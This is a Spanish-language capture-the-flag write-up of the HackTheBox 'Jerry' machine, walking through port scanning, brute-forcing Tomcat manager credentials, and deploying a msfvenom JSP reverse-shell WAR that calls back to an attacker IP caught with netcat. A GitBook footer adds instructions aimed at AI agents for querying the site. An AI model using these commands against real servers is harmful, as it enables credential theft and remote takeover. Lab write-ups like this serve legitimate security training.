> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/jerry-hackthebox-writeup.md).

# Writeup de Jerry en HackTheBox

{% embed url="<https://app.hackthebox.com/machines/Jerry>" %}

{% hint style="warning" %}
**Habilidades:**

* Fuga de información
* Abuso de Tomcat (intrusión y escalada de privilegios)
  {% endhint %}

## Reconocimiento

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="/files/c2f32fd14572750d60aa475d1a39c31dcd64f37e" alt=""><figcaption></figcaption></figure>

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

<figure><img src="/files/059cb5a34b204b55dbf3335dee0a02514adc5734" alt=""><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:**

Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap:

```bash
nmap -p- --open -sS -n -min-rate 5000 -Pn 10.10.10.95 -oG allPorts
```

<figure><img src="/files/d97fa96769fa7321189c1c523cea356f99f7acd5" alt=""><figcaption></figcaption></figure>

**Análisis de puertos abiertos con extractPorts:**

Usa la función extractPorts para mostrar los puertos abiertos en un formato conciso y copiarlos al portapapeles.

<figure><img src="/files/59c11d88254ab16d78698c557f82fdc44e45d61f" alt="" width="563"><figcaption></figcaption></figure>

**Escaneo de versiones de puertos con Nmap:**

Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted":

```bash
nmap -sCV -p8080 10.10.10.95 -oN targeted
```

<figure><img src="/files/4cd594ebb48bce2b2d551b52b64b9f0d3abe6926" alt=""><figcaption></figcaption></figure>

## Puerto 8080 - Tomcat

El puerto 8080 aloja un servidor **Apache Tomcat**. Un análisis con `whatweb` revela la **7.0.88** versión, conocida por ser vulnerable.

<div data-full-width="true"><figure><img src="/files/fb18cee9c9f68b5210bae0b48769f9aac92b8986" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/fc4fb92fa9dca51f9a25b6c86dbf134c2287633b" alt=""><figcaption></figcaption></figure>

### Fuga de información

**Conectarse al panel administrativo**

<figure><img src="/files/e2202a8e9c2a5f7d674b4200c1be21667b196ca6" alt=""><figcaption></figcaption></figure>

Intentamos acceder al `/manager/html` panel con credenciales predeterminadas (p. ej. `admin:admin`), pero esto falla.

{% embed url="<https://github.com/bl4de/security-tools/blob/master/apache-tomcat-login-bruteforce.py>" %}

/*/* Ataque de fuerza bruta sobre identificadores/*/*

Usamos la `tomcat-betterdefaultpasslist.txt` diccionario para realizar un ataque de fuerza bruta sobre las credenciales:

Para automatizar esta tarea, usamos un script de Python:

```bash
python3 apache-tomcat-login-bruteforce.py -H 10.10.10.95 -p 8080 -P http
```

**Resultado:** Las credenciales válidas encontradas son:/ `tomcat:s3cret`

<figure><img src="/files/541c72109120a764fef90b3924335f08ef8ffaed" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/72d141d32c6a8a5fee5d925bf67530f093adbbdd" alt=""><figcaption></figcaption></figure>

### Vulnerabilidad de Tomcat:

**1. Generación de un archivo WAR:**/ Usamos `msfvenom` para crear un archivo WAR que contenga una shell inversa:

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.15 LPORT=443 -f war -o reverse.war
```

<figure><img src="/files/ac1db4f8e926e5ff5b426741697c91678a72baeb" alt=""><figcaption></figcaption></figure>

**2. Despliegue a través del Manager de Tomcat:**/ Subimos el archivo WAR al `/manager/html` panel.

<figure><img src="/files/62dc43b2706028b171816e4526f30ca542467124" alt="" width="563"><figcaption></figcaption></figure>

**3. Escuchar la shell inversa:**/ Configuramos un listener para capturar la conexión inversa:

```bash
rlwrap nc -nlvp 443
```

Al ejecutar el archivo desplegado (`/reverse`), obtenemos una shell interactiva en la máquina objetivo.

<figure><img src="/files/f2c3816d0961ccaa59467b03e77c9eaa1fbd5d04" alt=""><figcaption></figcaption></figure>

### Flags user.txt + root.txt :)

<figure><img src="/files/f3c7962a9f22930c235e6c072186e4650c201af2" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/901eaca84bc587fc3c3f409ac75865716d94b0a7" alt="" width="509"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/jerry-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
